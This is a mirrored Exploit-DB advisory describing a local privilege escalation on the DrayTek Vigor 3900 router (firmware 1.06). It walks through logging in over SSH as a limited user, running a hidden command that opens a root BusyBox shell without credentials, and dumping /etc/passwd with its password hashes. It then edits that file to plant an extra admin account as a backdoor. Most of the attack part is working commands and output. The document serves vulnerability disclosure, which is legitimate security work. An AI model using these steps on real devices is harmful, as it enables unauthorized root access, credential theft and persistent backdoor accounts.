Draytek Vigor 3900 1.06 – Local Privilege Escalation

• Exploit Database
• 47 阅读

• 作者： Mohammad abou hayt
  日期： 2013-03-29
• 类别：

  • local
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/24899/

• # Exploit Title: Previlege escalation 
  # Date: 19/3/2013
  # Exploit Author: Mohammad abou hayt	
  # Vendor Homepage: http://www.draytek.com.tw/index.php?option=com_k2&view=item&layout=item&id=2627&Itemid=593&lang=en
  # Software Link: N/A
  # Version: Vigor 3900 -Hardware V2 - firmware latest 1.06
  
  ########################Privilege escalationfor draytek vigor 3900#####################
  
  ########################Affected device Description:#####################################
  Vigor 3900 Router Firewall :
  High Performance Multi-WAN VPN Appliance
  The Vigor 3900 is a high-performance quad-Gigabit WAN router for high-performance applications including remote access, firewalling, load-balancing and 
  failover. Its WAN throughput runs at up to 1Gb/s, adequate for the most demanding SME applications. The WAN ports on the Vigor 3900 can provide load balancing
  or WAN failover. Based on a new DrayTek OS platform, the Vigor 3900 combines high performance and capacity with DrayTek's traditional ease of use and comprehensive
  features set.
  ########For multi-tenant or departmental flexibility, the Vigor3900 will support multiple LAN IP subnets, together with VLAN capabilities and user management
  providing access to WAN resources only to the appropriate users or departments, as well as maintaining infrastructure effciency.
  
  ############################Advisory:###################################################
  
  #The finding started when creating a normal limited user or any user to access the firewall dashboard.
   
  
  ##Having the port 22 open by default, try to login the firewall using putty with this limited user credentials
  
  login as: test
  test@192.168.0.1 password:
  
  ********************************************
  **
  *Welcome V3900 *
  **
  ********************************************
  
  Welcome it is Thu Mar 28 18:58:31 UTC 2013
  Vigor3900>
  
   
  
  ###vigor 3900 is built in BusyBox: Trying to shell the device by using “sh draytekv3900” will gain root shell without asking for credintial .
  ####And what I have noticed that any user you create from the dashboard will be able to access the root shell whereas .
  
  Vigor3900> sh draytekv3900
  
  
  BusyBox v1.4.2 (2013-02-25 23:52:19 CST) Built-in shell (ash)
  Enter 'help' for a list of built-in commands.
  
  
  #####Printing the cat /etc/passwd
  
  ~ # cat /etc/passwd
  root:!:0:0:root:/tmp:/bin/ash
  nobody:*:65534:65534:nobody:/var:/bin/false
  admin:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish
  operator:$1$.FTn64sr$3tKZ2599RrSU9TA.C/vKd0:501:501:operator:/usr:/bin/clish
  quagga:x:51:51:quagga:/tmp/.quagga:/bin/false
  test:$1$qHVw8Ap.BnYm7jd5VYqBSo0:502:502:Linux User,,,:/tmp:/usr/bin/clish
  
  
  
  #######Adding another admin (admin1) 
  
  ~ # vi /etc/passwd
  root:!:0:0:root:/tmp:/bin/ash
  nobody:*:65534:65534:nobody:/var:/bin/false
  admin:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish
  operator:$1$.FTn64sr$3tKZ2599RrSU9TA.C/vKd0:501:501:operator:/usr:/bin/clish
  quagga:x:51:51:quagga:/tmp/.quagga:/bin/false
  admin1:$1$1xUkNSXm$SFvMVQCzcM3LmK9mrJmux0:500:500:admin:/tmp:/usr/bin/clish
  test:$1$qHVw8Ap.BnYm7jd5VYqBSo0:502:502:Linux User,,,:/tmp:/usr/bin/clish
   
  ~:wq
  
  ____________________________________________________________
  
  
  Discovered and written by: Mohammad Abou Hayt
  
  __________________________________________________